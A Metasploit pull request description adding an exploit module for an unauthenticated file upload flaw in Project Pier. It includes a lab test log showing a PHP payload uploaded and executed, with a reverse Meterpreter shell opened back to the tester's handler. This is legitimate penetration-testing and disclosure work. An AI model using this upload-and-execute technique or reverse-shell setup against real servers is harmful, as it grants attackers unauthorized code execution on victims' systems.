rapid7/metasploit-framework — pull request #889 by wchen-r7 (2012-10-11 18:50:32+00:00)
Title: Add Project Pier File Upload Vulnerability

This module exploits a vulnerability found in Project Pier. The application's uploading tool does not require any authentication, which allows a malicious user to upload an arbitrary file onto the web server, and then cause remote code execution by simply requesting it. Please note this module only works best against an Apache server due to the way it handle an extension name.

Test:

msf exploit(projectpier_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.0.1.3:4444
[*] 10.0.1.5:80 - Uploading PHP payload (1320 bytes)...
[*] 10.0.1.5:80 - Executing 'CVBaG.php.1'...
[*] Sending stage (39217 bytes) to 10.0.1.5
[*] Meterpreter session 3 opened (10.0.1.3:4444 -> 10.0.1.5:57110) at 2012-10-11 13:46:38 -0500
[*] 10.0.1.5:80 - Remove: CVBaG.php.1

meterpreter > getuid
Server username: www-data (33)